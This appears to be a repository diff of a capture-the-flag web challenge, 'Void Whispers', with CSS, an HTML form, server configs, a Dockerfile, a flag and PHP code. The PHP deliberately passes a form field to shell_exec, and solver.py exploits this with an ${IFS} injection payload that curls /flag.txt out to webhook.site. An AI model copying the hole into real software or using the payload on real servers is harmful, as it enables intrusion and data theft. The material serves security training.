@-webkit-keyframes spider-move-1 {
|
||||
0%, 100% {
|
||||
margin-top: 178px;
|
||||
}
|
||||
57% {
|
||||
margin-top: calc(178px + 28px);
|
||||
}
|
||||
}
|
||||
@keyframes spider-move-1 {
|
||||
0%, 100% {
|
||||
margin-top: 178px;
|
||||
}
|
||||
57% {
|
||||
margin-top: calc(178px + 28px);
|
||||
}
|
||||
}
|
||||
@-moz-keyframes spider-move-2 {
|
||||
0%, 100% {
|
||||
margin-top: 190px;
|
||||
}
|
||||
39% {
|
||||
margin-top: calc(190px + 113px);
|
||||
}
|
||||
}
|
||||
@-webkit-keyframes spider-move-2 {
|
||||
0%, 100% {
|
||||
margin-top: 190px;
|
||||
}
|
||||
39% {
|
||||
margin-top: calc(190px + 113px);
|
||||
}
|
||||
}
|
||||
@keyframes spider-move-2 {
|
||||
0%, 100% {
|
||||
margin-top: 190px;
|
||||
}
|
||||
39% {
|
||||
margin-top: calc(190px + 113px);
|
||||
}
|
||||
}
|
||||
@-moz-keyframes spider-move-3 {
|
||||
0%, 100% {
|
||||
margin-top: 191px;
|
||||
}
|
||||
55% {
|
||||
margin-top: calc(191px + 47px);
|
||||
}
|
||||
}
|
||||
@-webkit-keyframes spider-move-3 {
|
||||
0%, 100% {
|
||||
margin-top: 191px;
|
||||
}
|
||||
55% {
|
||||
margin-top: calc(191px + 47px);
|
||||
}
|
||||
}
|
||||
@keyframes spider-move-3 {
|
||||
0%, 100% {
|
||||
margin-top: 191px;
|
||||
}
|
||||
55% {
|
||||
margin-top: calc(191px + 47px);
|
||||
}
|
||||
}
|
||||
@-moz-keyframes spider-move-4 {
|
||||
0%, 100% {
|
||||
margin-top: 55px;
|
||||
}
|
||||
38% {
|
||||
margin-top: calc(55px + 112px);
|
||||
}
|
||||
}
|
||||
@-webkit-keyframes spider-move-4 {
|
||||
0%, 100% {
|
||||
margin-top: 55px;
|
||||
}
|
||||
38% {
|
||||
margin-top: calc(55px + 112px);
|
||||
}
|
||||
}
|
||||
@keyframes spider-move-4 {
|
||||
0%, 100% {
|
||||
margin-top: 55px;
|
||||
}
|
||||
38% {
|
||||
margin-top: calc(55px + 112px);
|
||||
}
|
||||
}
|
||||
@-moz-keyframes spider-move-5 {
|
||||
0%, 100% {
|
||||
margin-top: 116px;
|
||||
}
|
||||
40% {
|
||||
margin-top: calc(116px + 112px);
|
||||
}
|
||||
}
|
||||
@-webkit-keyframes spider-move-5 {
|
||||
0%, 100% {
|
||||
margin-top: 116px;
|
||||
}
|
||||
40% {
|
||||
margin-top: calc(116px + 112px);
|
||||
}
|
||||
}
|
||||
@keyframes spider-move-5 {
|
||||
0%, 100% {
|
||||
margin-top: 116px;
|
||||
}
|
||||
40% {
|
||||
margin-top: calc(116px + 112px);
|
||||
}
|
||||
}
|
|
@ -0,0 +1,272 @@
|
|||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<title>🎃 Void Whispers 🎃</title>
|
||||
<link href="https://fonts.googleapis.com/css?family=Eater" rel="stylesheet">
|
||||
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/meyer-reset/2.0/reset.min.css">
|
||||
<link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css">
|
||||
<link rel="stylesheet" href="/static/css/main.css">
|
||||
<style>
|
||||
html {
|
||||
height: 100%;
|
||||
width: 100%;
|
||||
overflow: hidden;
|
||||
}
|
||||
|
||||
body {
|
||||
background-color: #2F5363;
|
||||
filter: progid:DXImageTransform.Microsoft.gradient(gradientType=1, startColorstr='#FF2F5363', endColorstr='#FF1B2628');
|
||||
background-image: radial-gradient(ellipse cover at center, #2f5363 0%, #1b2628 80%);
|
||||
overflow: hidden;
|
||||
}
|
||||
|
||||
/* Spider Animation */
|
||||
[class*="spider"] {
|
||||
position: absolute;
|
||||
height: 40px;
|
||||
width: 50px;
|
||||
border-radius: 50%;
|
||||
margin: 40px 0 0 0;
|
||||
background: #110D04;
|
||||
}
|
||||
|
||||
[class*="spider"] *, [class*="spider"]:before, [class*="spider"]:after {
|
||||
position: absolute;
|
||||
content: "";
|
||||
}
|
||||
|
||||
[class*="spider"]:before {
|
||||
width: 1px;
|
||||
background: #AAAAAA;
|
||||
left: 50%;
|
||||
top: -320px;
|
||||
height: 320px;
|
||||
}
|
||||
|
||||
[class*="spider"] .eye {
|
||||
top: 16px;
|
||||
height: 14px;
|
||||
width: 12px;
|
||||
background: #FFFFFF;
|
||||
border-radius: 50%;
|
||||
}
|
||||
|
||||
[class*="spider"] .eye:after {
|
||||
top: 6px;
|
||||
height: 5px;
|
||||
width: 5px;
|
||||
background: black;
|
||||
border-radius: 50%;
|
||||
}
|
||||
|
||||
[class*="spider"] .eye.left { left: 14px; }
|
||||
[class*="spider"] .eye.left:after { right: 3px; }
|
||||
[class*="spider"] .eye.right { right: 14px; }
|
||||
[class*="spider"] .eye.right:after { left: 3px; }
|
||||
/* ... Additional Spider Animation CSS from the original code ... */
|
||||
|
||||
/* Form Styling */
|
||||
.form-container {
|
||||
position: absolute;
|
||||
top: 50%;
|
||||
left: 50%;
|
||||
width: 50%;
|
||||
transform: translate(-50%, -50%);
|
||||
background-color: rgba(0, 0, 0, 0.8);
|
||||
padding: 20px;
|
||||
border-radius: 10px;
|
||||
box-shadow: 0 0 10px rgba(0, 0, 0, 0.5);
|
||||
}
|
||||
|
||||
.form-container h1 {
|
||||
font-family: 'Eater', cursive;
|
||||
font-size: 2rem;
|
||||
position: relative !important;
|
||||
color: #ff7518;
|
||||
left: 0 !important;
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
.form-container label {
|
||||
color: #fff;
|
||||
}
|
||||
|
||||
.form-control {
|
||||
background-color: #333;
|
||||
border: 1px solid #444;
|
||||
color: #fff;
|
||||
}
|
||||
|
||||
.btn-primary {
|
||||
background-color: #ff7518 !important;
|
||||
border-color: #ff7518;
|
||||
width: 100%;
|
||||
}
|
||||
|
||||
.btn-primary:hover {
|
||||
background-color: #e65c00 !important;
|
||||
}
|
||||
|
||||
.response-message {
|
||||
margin-top: 15px;
|
||||
display: none;
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
|
||||
<body>
|
||||
|
||||
<!-- Spiders Animation -->
|
||||
<div class='spider_0'>
|
||||
<div class='eye left'></div>
|
||||
<div class='eye right'></div>
|
||||
<span class='leg left'></span>
|
||||
<span class='leg left'></span>
|
||||
<span class='leg left'></span>
|
||||
<span class='leg left'></span>
|
||||
<span class='leg right'></span>
|
||||
<span class='leg right'></span>
|
||||
<span class='leg right'></span>
|
||||
<span class='leg right'></span>
|
||||
</div>
|
||||
<div class='spider_1'>
|
||||
<div class='eye left'></div>
|
||||
<div class='eye right'></div>
|
||||
<span class='leg left'></span>
|
||||
<span class='leg left'></span>
|
||||
<span class='leg left'></span>
|
||||
<span class='leg left'></span>
|
||||
<span class='leg right'></span>
|
||||
<span class='leg right'></span>
|
||||
<span class='leg right'></span>
|
||||
<span class='leg right'></span>
|
||||
</div>
|
||||
<div class='spider_2'>
|
||||
<div class='eye left'></div>
|
||||
<div class='eye right'></div>
|
||||
<span class='leg left'></span>
|
||||
<span class='leg left'></span>
|
||||
<span class='leg left'></span>
|
||||
<span class='leg left'></span>
|
||||
<span class='leg right'></span>
|
||||
<span class='leg right'></span>
|
||||
<span class='leg right'></span>
|
||||
<span class='leg right'></span>
|
||||
</div> <!-- More spiders here... -->
|
||||
<div class='spider_3'>
|
||||
<div class='eye left'></div>
|
||||
<div class='eye right'></div>
|
||||
<span class='leg left'></span>
|
||||
<span class='leg left'></span>
|
||||
<span class='leg left'></span>
|
||||
<span class='leg left'></span>
|
||||
<span class='leg right'></span>
|
||||
<span class='leg right'></span>
|
||||
<span class='leg right'></span>
|
||||
<span class='leg right'></span>
|
||||
</div> <div class='spider_4'>
|
||||
<div class='eye left'></div>
|
||||
<div class='eye right'></div>
|
||||
<span class='leg left'></span>
|
||||
<span class='leg left'></span>
|
||||
<span class='leg left'></span>
|
||||
<span class='leg left'></span>
|
||||
<span class='leg right'></span>
|
||||
<span class='leg right'></span>
|
||||
<span class='leg right'></span>
|
||||
<span class='leg right'></span>
|
||||
</div> <div class='spider_5'>
|
||||
<div class='eye left'></div>
|
||||
<div class='eye right'></div>
|
||||
<span class='leg left'></span>
|
||||
<span class='leg left'></span>
|
||||
<span class='leg left'></span>
|
||||
<span class='leg left'></span>
|
||||
<span class='leg right'></span>
|
||||
<span class='leg right'></span>
|
||||
<span class='leg right'></span>
|
||||
<span class='leg right'></span>
|
||||
</div> <div class='spider_6'>
|
||||
<div class='eye left'></div>
|
||||
<div class='eye right'></div>
|
||||
<span class='leg left'></span>
|
||||
<span class='leg left'></span>
|
||||
<span class='leg left'></span>
|
||||
<span class='leg left'></span>
|
||||
<span class='leg right'></span>
|
||||
<span class='leg right'></span>
|
||||
<span class='leg right'></span>
|
||||
<span class='leg right'></span>
|
||||
</div>
|
||||
<!-- Void Whispers Form -->
|
||||
<div class="form-container">
|
||||
<h1>🎃 Void Whispers 🎃</h1>
|
||||
<div method="post" id="settingsForm">
|
||||
<div class="form-group">
|
||||
<label for="from-name">From Name 📝</label>
|
||||
<input type="text" name="from-name" class="form-control" id="from-name" value="<?php echo $config['from']; ?>" />
|
||||
</div>
|
||||
<div class="form-group">
|
||||
<label for="from-mail">From Email 📧</label>
|
||||
<input type="text" name="from-mail" class="form-control" id="from-mail" value="<?php echo $config['email']; ?>" />
|
||||
</div>
|
||||
<div class="form-group">
|
||||
<label for="mail-binary">Sendmail PATH 📜</label>
|
||||
<input type="text" name="mail-binary" class="form-control" id="mail-binary" value="<?php echo $config['sendMailPath']; ?>" />
|
||||
</div>
|
||||
<div class="form-group">
|
||||
<label for="mail-program">Mail Program 🛠️</label>
|
||||
<input type="text" name="mail-program" class="form-control" id="mail-program" value="<?php echo $config['mailProgram']; ?>" />
|
||||
</div>
|
||||
|
||||
<button onclick="submitForm()" type="submit" class="btn btn-primary">💀 Save 💀</button>
|
||||
</div>
|
||||
|
||||
<div id="response-message" class="alert response-message"></div>
|
||||
</div>
|
||||
|
||||
<!-- Script for handling form submission -->
|
||||
|
||||
<script>
|
||||
const submitForm = () => {
|
||||
// Collect form data
|
||||
const formData = new URLSearchParams();
|
||||
formData.append('from', document.getElementById('from-name').value);
|
||||
formData.append('email', document.getElementById('from-mail').value);
|
||||
formData.append('sendMailPath', document.getElementById('mail-binary').value);
|
||||
formData.append('mailProgram', document.getElementById('mail-program').value);
|
||||
|
||||
// Send the API request
|
||||
fetch('/update', {
|
||||
method: 'POST',
|
||||
headers: {
|
||||
'Content-Type': 'application/x-www-form-urlencoded'
|
||||
},
|
||||
body: formData.toString()
|
||||
})
|
||||
.then(response => response.json())
|
||||
.then(data => {
|
||||
const responseMessage = document.getElementById('response-message');
|
||||
responseMessage.style.display = 'block';
|
||||
responseMessage.innerText = data.message;
|
||||
|
||||
if (data.status === 'success') {
|
||||
responseMessage.classList.add('alert-success');
|
||||
responseMessage.classList.remove('alert-danger');
|
||||
} else {
|
||||
responseMessage.classList.add('alert-danger');
|
||||
responseMessage.classList.remove('alert-success');
|
||||
}
|
||||
})
|
||||
.catch(error => {
|
||||
console.error('Error:', error);
|
||||
const responseMessage = document.getElementById('response-message');
|
||||
responseMessage.style.display = 'block';
|
||||
responseMessage.innerText = 'An error occurred. Please try again.';
|
||||
responseMessage.classList.add('alert-danger');
|
||||
});
|
||||
}
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
21
htb/hacktheboo2024/web/web_void_whispers/config/fpm.conf
Normal file
21
htb/hacktheboo2024/web/web_void_whispers/config/fpm.conf
Normal file
|
@ -0,0 +1,21 @@
|
|||
[global]
|
||||
daemonize = no
|
||||
error_log = /dev/stderr
|
||||
log_level = notice
|
||||
|
||||
[www]
|
||||
user = www
|
||||
group = www
|
||||
|
||||
clear_env = On
|
||||
|
||||
listen = /run/php-fpm.sock
|
||||
listen.owner = www
|
||||
listen.group = www
|
||||
|
||||
pm = dynamic
|
||||
pm.max_children = 5
|
||||
pm.start_servers = 2
|
||||
pm.min_spare_servers = 1
|
||||
pm.max_spare_servers = 3
|
||||
php_flag[expose_php]=off
|
40
htb/hacktheboo2024/web/web_void_whispers/config/nginx.conf
Normal file
40
htb/hacktheboo2024/web/web_void_whispers/config/nginx.conf
Normal file
|
@ -0,0 +1,40 @@
|
|||
user www;
|
||||
pid /run/nginx.pid;
|
||||
error_log /dev/stderr info;
|
||||
|
||||
events {
|
||||
worker_connections 1024;
|
||||
}
|
||||
|
||||
http {
|
||||
server_tokens off;
|
||||
log_format docker '$remote_addr $remote_user $status "$request" "$http_referer" "$http_user_agent" ';
|
||||
access_log /var/log/nginx/access.log docker;
|
||||
|
||||
charset utf-8;
|
||||
keepalive_timeout 20s;
|
||||
sendfile on;
|
||||
tcp_nopush on;
|
||||
client_max_body_size 1M;
|
||||
|
||||
include /etc/nginx/mime.types;
|
||||
|
||||
server {
|
||||
listen 1337;
|
||||
server_name _;
|
||||
|
||||
index index.php;
|
||||
root /www;
|
||||
|
||||
location / {
|
||||
try_files $uri $uri/ /index.php?$query_string;
|
||||
location ~ \.php$ {
|
||||
try_files $uri =404;
|
||||
fastcgi_pass unix:/run/php-fpm.sock;
|
||||
fastcgi_index index.php;
|
||||
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
|
||||
include fastcgi_params;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,23 @@
|
|||
[supervisord]
|
||||
user=root
|
||||
nodaemon=true
|
||||
logfile=/dev/null
|
||||
logfile_maxbytes=0
|
||||
pidfile=/run/supervisord.pid
|
||||
|
||||
[program:fpm]
|
||||
command=php-fpm83 -F
|
||||
autostart=true
|
||||
priority=1000
|
||||
stdout_logfile=/dev/stdout
|
||||
stdout_logfile_maxbytes=0
|
||||
stderr_logfile=/dev/stderr
|
||||
stderr_logfile_maxbytes=0
|
||||
|
||||
[program:nginx]
|
||||
command=nginx -g 'daemon off;'
|
||||
autostart=true
|
||||
stdout_logfile=/dev/stdout
|
||||
stdout_logfile_maxbytes=0
|
||||
stderr_logfile=/dev/stderr
|
||||
stderr_logfile_maxbytes=0
|
1
htb/hacktheboo2024/web/web_void_whispers/flag.txt
Normal file
1
htb/hacktheboo2024/web/web_void_whispers/flag.txt
Normal file
|
@ -0,0 +1 @@
|
|||
HTB{c0mm4nd_1nj3ct10n_4r3_3457_70_f1nD!!}
|
43
htb/hacktheboo2024/web/web_void_whispers/htb/solver.py
Normal file
43
htb/hacktheboo2024/web/web_void_whispers/htb/solver.py
Normal file
|
@ -0,0 +1,43 @@
|
|||
import requests, random, string
|
||||
|
||||
host = '127.0.0.1:1337'
|
||||
|
||||
class WEBHOOK:
|
||||
def __init__(self):
|
||||
self.url = "https://webhook.site"
|
||||
try:
|
||||
resp = requests.post('{}/token'.format(self.url), json={"actions": True, "alias": ''.join(random.choices(string.ascii_letters, k=20)), "cors": False}, timeout=15)
|
||||
self.token = resp.json()['uuid']
|
||||
except:
|
||||
print("[!] Couldn't reach webhook.site, please make sure we have internet access!")
|
||||
sys.exit()
|
||||
|
||||
def get_flag(self):
|
||||
try:
|
||||
resp = requests.get('{}/token/{}/request/latest'.format(self.url,self.token), timeout=15)
|
||||
flag = resp.json()['url']
|
||||
except:
|
||||
return False
|
||||
return flag
|
||||
|
||||
def destroy(self):
|
||||
requests.delete('{}/token/{}'.format(self.url,self.token), timeout=15)
|
||||
|
||||
|
||||
webhook = WEBHOOK()
|
||||
|
||||
data = {
|
||||
'from': 'Ghostly Support',
|
||||
'email': 'support@haunted-mailer.htb',
|
||||
'sendMailPath': '/usr/sbin/sendmail;curl${IFS}https://webhook.site/'+webhook.token+'?x=$(cat${IFS}/flag.txt)',
|
||||
'mailProgram': 'sendmail'
|
||||
}
|
||||
|
||||
response = requests.post(f'http://{host}/update', headers={'Content-Type': 'application/x-www-form-urlencoded'}, data=data)
|
||||
|
||||
while True:
|
||||
flag = webhook.get_flag()
|
||||
if flag:
|
||||
break
|
||||
|
||||
print(flag)
|
Binary file not shown.
|
@ -0,0 +1,26 @@
|
|||
FROM php:alpine
|
||||
|
||||
# Setup user
|
||||
RUN adduser -D -u 1000 -g 1000 -s /bin/sh www
|
||||
|
||||
# Install system packages
|
||||
RUN apk add --no-cache --update curl supervisor nginx php-fpm
|
||||
|
||||
# Configure php-fpm and nginx
|
||||
COPY config/fpm.conf /etc/php83/php-fpm.d/www.conf
|
||||
COPY config/supervisord.conf /etc/supervisord.conf
|
||||
COPY config/nginx.conf /etc/nginx/nginx.conf
|
||||
|
||||
# Copy challenge files
|
||||
COPY challenge /www
|
||||
COPY flag.txt /
|
||||
|
||||
# Setup permissions
|
||||
RUN chown -R www:www /var/lib/nginx
|
||||
RUN chown -R www:www /www
|
||||
|
||||
# Expose the port nginx is listening on
|
||||
EXPOSE 1337
|
||||
|
||||
# Start supervisord
|
||||
CMD ["/usr/bin/supervisord", "-c", "/etc/supervisord.conf"]
|
|
@ -0,0 +1,2 @@
|
|||
docker build . -t web_void_whispers
|
||||
docker run -it -p 1337:1337 web_void_whispers
|
|
@ -0,0 +1,125 @@
|
|||
<?php
|
||||
class Router
|
||||
{
|
||||
public $routes = [];
|
||||
|
||||
public function new($method, $route, $controller)
|
||||
{
|
||||
$r = [
|
||||
'method' => $method,
|
||||
'route' => $route,
|
||||
];
|
||||
|
||||
if (is_callable($controller))
|
||||
{
|
||||
$r['controller'] = $controller;
|
||||
$this->routes[] = $r;
|
||||
}
|
||||
else if (strpos($controller, '@'))
|
||||
{
|
||||
$split = explode('@', $controller);
|
||||
$class = $split[0];
|
||||
$function = $split[1];
|
||||
|
||||
$r['controller'] = [
|
||||
'class' => $class,
|
||||
'function' => $function
|
||||
];
|
||||
|
||||
$this->routes[] = $r;
|
||||
}
|
||||
else
|
||||
{
|
||||
throw new Exception('Invalid controller');
|
||||
}
|
||||
}
|
||||
|
||||
public function match()
|
||||
{
|
||||
foreach($this->routes as $route)
|
||||
{
|
||||
if ($this->_match_route($route['route']))
|
||||
{
|
||||
if ($route['method'] != $_SERVER['REQUEST_METHOD'])
|
||||
{
|
||||
$this->abort(405);
|
||||
}
|
||||
$params = $this->getRouteParameters($route['route']);
|
||||
|
||||
if (is_array($route['controller']))
|
||||
{
|
||||
$controller = $route['controller'];
|
||||
$class = $controller['class'];
|
||||
$function = $controller['function'];
|
||||
|
||||
return (new $class)->$function($this,$params);
|
||||
}
|
||||
return $route['controller']($this,$params);
|
||||
}
|
||||
}
|
||||
|
||||
$this->abort(404);
|
||||
}
|
||||
|
||||
public function _match_route($route)
|
||||
{
|
||||
$uri = explode('/', strtok($_SERVER['REQUEST_URI'], '?'));
|
||||
$route = explode('/', $route);
|
||||
|
||||
if (count($uri) != count($route)) return false;
|
||||
|
||||
foreach ($route as $key => $value)
|
||||
{
|
||||
if ($uri[$key] != $value && $value != '{param}') return false;
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
public function getRouteParameters($route)
|
||||
{
|
||||
$params = [];
|
||||
$uri = explode('/', strtok($_SERVER['REQUEST_URI'], '?'));
|
||||
$route = explode('/', $route);
|
||||
|
||||
foreach ($route as $key => $value)
|
||||
{
|
||||
if ($uri[$key] == $value) continue;
|
||||
if ($value == '{param}')
|
||||
{
|
||||
if ($uri[$key] == '')
|
||||
{
|
||||
$this->abort(404);
|
||||
}
|
||||
$params[] = $uri[$key];
|
||||
}
|
||||
}
|
||||
|
||||
return $params;
|
||||
}
|
||||
|
||||
public function abort($code)
|
||||
{
|
||||
http_response_code($code);
|
||||
exit;
|
||||
}
|
||||
|
||||
public function view($view, $data = [])
|
||||
{
|
||||
extract($data);
|
||||
include __DIR__."/views/{$view}.php";
|
||||
exit;
|
||||
}
|
||||
|
||||
public function jsonify($body, $code = null)
|
||||
{
|
||||
if ($code) {
|
||||
http_response_code($code);
|
||||
}
|
||||
|
||||
header('Content-Type: application/json; charset=utf-8');
|
||||
echo json_encode($body);
|
||||
|
||||
exit;
|
||||
}
|
||||
}
|
|
@ -0,0 +1,54 @@
|
|||
<?php
|
||||
class IndexController
|
||||
{
|
||||
private $configFile = 'config.json';
|
||||
private $config;
|
||||
|
||||
public function __construct() {
|
||||
if (file_exists($this->configFile)) {
|
||||
$this->config = json_decode(file_get_contents($this->configFile), true);
|
||||
} else {
|
||||
$this->config = array(
|
||||
'from' => 'Ghostly Support',
|
||||
'email' => 'support@void-whispers.htb',
|
||||
'sendMailPath' => '/usr/sbin/sendmail',
|
||||
'mailProgram' => 'sendmail',
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
public function index($router)
|
||||
{
|
||||
$router->view('index', ['config' => $this->config]);
|
||||
}
|
||||
|
||||
public function updateSetting($router)
|
||||
{
|
||||
$from = $_POST['from'];
|
||||
$mailProgram = $_POST['mailProgram'];
|
||||
$sendMailPath = $_POST['sendMailPath'];
|
||||
$email = $_POST['email'];
|
||||
|
||||
if (empty($from) || empty($mailProgram) || empty($sendMailPath) || empty($email)) {
|
||||
return $router->jsonify(['message' => 'All fields required!', 'status' => 'danger'], 400);
|
||||
}
|
||||
|
||||
if (preg_match('/\s/', $sendMailPath)) {
|
||||
return $router->jsonify(['message' => 'Sendmail path should not contain spaces!', 'status' => 'danger'], 400);
|
||||
}
|
||||
|
||||
$whichOutput = shell_exec("which $sendMailPath");
|
||||
if (empty($whichOutput)) {
|
||||
return $router->jsonify(['message' => 'Binary does not exist!', 'status' => 'danger'], 400);
|
||||
}
|
||||
|
||||
$this->config['from'] = $from;
|
||||
$this->config['mailProgram'] = $mailProgram;
|
||||
$this->config['sendMailPath'] = $sendMailPath;
|
||||
$this->config['email'] = $email;
|
||||
|
||||
file_put_contents($this->configFile, json_encode($this->config));
|
||||
|
||||
return $router->jsonify(['message' => 'Config updated successfully!', 'status' => 'success'], 200);
|
||||
}
|
||||
}
|
|
@ -0,0 +1,14 @@
|
|||
<?php spl_autoload_register(function ($name) {
|
||||
if (preg_match('/Controller$/', $name)) {
|
||||
$name = "controllers/{$name}";
|
||||
} elseif (preg_match('/Model$/', $name)) {
|
||||
$name = "models/{$name}";
|
||||
}
|
||||
include_once "{$name}.php";
|
||||
});
|
||||
|
||||
$router = new Router();
|
||||
$router->new('GET', '/', 'IndexController@index');
|
||||
$router->new('POST', '/update', 'IndexController@updateSetting');
|
||||
|
||||
die($router->match());
|
File diff suppressed because one or more lines are too long
|
@ -0,0 +1,532 @@
|
|||
html {
|
||||
height: 100%;
|
||||
width: 100%;
|
||||
overflow: hidden;
|
||||
scroll: none;
|
||||
}
|
||||
|
||||
body {
|
||||
background-color: #2F5363;
|
||||
*zoom: 1;
|
||||
filter: progid:DXImageTransform.Microsoft.gradient(gradientType=1, startColorstr='#FF2F5363', endColorstr='#FF1B2628');
|
||||
background-image: url('data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz4gPHN2ZyB2ZXJzaW9uPSIxLjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyI+PGRlZnM+PHJhZGlhbEdyYWRpZW50IGlkPSJncmFkIiBncmFkaWVudFVuaXRzPSJ1c2VyU3BhY2VPblVzZSIgY3g9IjUwJSIgY3k9IiIgcj0iODAlIj48c3RvcCBvZmZzZXQ9IjAlIiBzdG9wLWNvbG9yPSIjMmY1MzYzIi8+PHN0b3Agb2Zmc2V0PSI4MCUiIHN0b3AtY29sb3I9IiMxYjI2MjgiLz48L3JhZGlhbEdyYWRpZW50PjwvZGVmcz48cmVjdCB4PSIwIiB5PSIwIiB3aWR0aD0iMTAwJSIgaGVpZ2h0PSIxMDAlIiBmaWxsPSJ1cmwoI2dyYWQpIiAvPjwvc3ZnPiA=');
|
||||
background-size: 100%;
|
||||
background-image: -moz-radial-gradient(center, ellipse cover, #2f5363 0%, #1b2628 80%);
|
||||
background-image: -webkit-radial-gradient(center, ellipse cover, #2f5363 0%, #1b2628 80%);
|
||||
background-image: radial-gradient(ellipse cover at center, #2f5363 0%, #1b2628 80%);
|
||||
overflow: hidden;
|
||||
}
|
||||
|
||||
[class*="spider"] {
|
||||
position: absolute;
|
||||
height: 40px;
|
||||
width: 50px;
|
||||
-moz-border-radius: 50%;
|
||||
-webkit-border-radius: 50%;
|
||||
border-radius: 50%;
|
||||
margin: 40px 0 0 0;
|
||||
background: #110D04;
|
||||
}
|
||||
[class*="spider"] *, [class*="spider"]:before, [class*="spider"]:after, [class*="spider"] :after, [class*="spider"] :before {
|
||||
position: absolute;
|
||||
content: "";
|
||||
}
|
||||
[class*="spider"]:before {
|
||||
width: 1px;
|
||||
background: #AAAAAA;
|
||||
left: 50%;
|
||||
top: -320px;
|
||||
height: 320px;
|
||||
}
|
||||
[class*="spider"] .eye {
|
||||
top: 16px;
|
||||
height: 14px;
|
||||
width: 12px;
|
||||
background: #FFFFFF;
|
||||
-moz-border-radius: 50%;
|
||||
-webkit-border-radius: 50%;
|
||||
border-radius: 50%;
|
||||
}
|
||||
[class*="spider"] .eye:after {
|
||||
top: 6px;
|
||||
height: 5px;
|
||||
width: 5px;
|
||||
-moz-border-radius: 50%;
|
||||
-webkit-border-radius: 50%;
|
||||
border-radius: 50%;
|
||||
background: black;
|
||||
}
|
||||
[class*="spider"] .eye.left {
|
||||
left: 14px;
|
||||
}
|
||||
[class*="spider"] .eye.left:after {
|
||||
right: 3px;
|
||||
}
|
||||
[class*="spider"] .eye.right {
|
||||
right: 14px;
|
||||
}
|
||||
[class*="spider"] .eye.right:after {
|
||||
left: 3px;
|
||||
}
|
||||
[class*="spider"] .leg {
|
||||
top: 6px;
|
||||
height: 12px;
|
||||
width: 14px;
|
||||
border-top: 2px solid #110D04;
|
||||
border-left: 1px solid transparent;
|
||||
border-right: 1px solid transparent;
|
||||
border-bottom: 1px solid transparent;
|
||||
z-index: -1;
|
||||
}
|
||||
[class*="spider"] .leg.left {
|
||||
left: -8px;
|
||||
-moz-transform-origin: top right;
|
||||
-ms-transform-origin: top right;
|
||||
-webkit-transform-origin: top right;
|
||||
transform-origin: top right;
|
||||
-moz-transform: rotate(36deg) skewX(-20deg);
|
||||
-ms-transform: rotate(36deg) skewX(-20deg);
|
||||
-webkit-transform: rotate(36deg) skewX(-20deg);
|
||||
transform: rotate(36deg) skewX(-20deg);
|
||||
border-left: 2px solid #110D04;
|
||||
-moz-border-radius: 60% 0 0 0;
|
||||
-webkit-border-radius: 60%;
|
||||
border-radius: 60% 0 0 0;
|
||||
-moz-animation: legs-wriggle-left 1s 0s infinite;
|
||||
-webkit-animation: legs-wriggle-left 1s 0s infinite;
|
||||
animation: legs-wriggle-left 1s 0s infinite;
|
||||
}
|
||||
[class*="spider"] .leg.right {
|
||||
right: -8px;
|
||||
-moz-transform-origin: top left;
|
||||
-ms-transform-origin: top left;
|
||||
-webkit-transform-origin: top left;
|
||||
transform-origin: top left;
|
||||
-moz-transform: rotate(-36deg) skewX(20deg);
|
||||
-ms-transform: rotate(-36deg) skewX(20deg);
|
||||
-webkit-transform: rotate(-36deg) skewX(20deg);
|
||||
transform: rotate(-36deg) skewX(20deg);
|
||||
border-right: 2px solid #110D04;
|
||||
-moz-border-radius: 0 60% 0 0;
|
||||
-webkit-border-radius: 0;
|
||||
border-radius: 0 60% 0 0;
|
||||
-moz-animation: legs-wriggle-right 1s 0.2s infinite;
|
||||
-webkit-animation: legs-wriggle-right 1s 0.2s infinite;
|
||||
animation: legs-wriggle-right 1s 0.2s infinite;
|
||||
}
|
||||
[class*="spider"] .leg:nth-of-type(2) {
|
||||
top: 14px;
|
||||
left: -11px;
|
||||
-moz-animation: legs-wriggle-left 1s 0.8s infinite;
|
||||
-webkit-animation: legs-wriggle-left 1s 0.8s infinite;
|
||||
animation: legs-wriggle-left 1s 0.8s infinite;
|
||||
}
|
||||
[class*="spider"] .leg:nth-of-type(3) {
|
||||
top: 22px;
|
||||
left: -12px;
|
||||
-moz-animation: legs-wriggle-left 1s 0.2s infinite;
|
||||
-webkit-animation: legs-wriggle-left 1s 0.2s infinite;
|
||||
animation: legs-wriggle-left 1s 0.2s infinite;
|
||||
}
|
||||
[class*="spider"] .leg:nth-of-type(4) {
|
||||
top: 31px;
|
||||
left: -10px;
|
||||
-moz-animation: legs-wriggle-left 1s 0.4s infinite;
|
||||
-webkit-animation: legs-wriggle-left 1s 0.4s infinite;
|
||||
animation: legs-wriggle-left 1s 0.4s infinite;
|
||||
}
|
||||
[class*="spider"] .leg:nth-of-type(6) {
|
||||
top: 14px;
|
||||
right: -11px;
|
||||
-moz-animation: legs-wriggle-right 1s 0.4s infinite;
|
||||
-webkit-animation: legs-wriggle-right 1s 0.4s infinite;
|
||||
animation: legs-wriggle-right 1s 0.4s infinite;
|
||||
}
|
||||
[class*="spider"] .leg:nth-of-type(7) {
|
||||
top: 22px;
|
||||
right: -12px;
|
||||
-moz-animation: legs-wriggle-right 1s 0.7s infinite;
|
||||
-webkit-animation: legs-wriggle-right 1s 0.7s infinite;
|
||||
animation: legs-wriggle-right 1s 0.7s infinite;
|
||||
}
|
||||
[class*="spider"] .leg:nth-of-type(8) {
|
||||
top: 31px;
|
||||
right: -10px;
|
||||
-moz-animation: legs-wriggle-right 1s 0.3s infinite;
|
||||
-webkit-animation: legs-wriggle-right 1s 0.3s infinite;
|
||||
animation: legs-wriggle-right 1s 0.3s infinite;
|
||||
}
|
||||
|
||||
.spider_0 {
|
||||
left: 5%;
|
||||
-moz-animation: spider-move-0 5s infinite;
|
||||
-webkit-animation: spider-move-0 5s infinite;
|
||||
animation: spider-move-0 5s infinite;
|
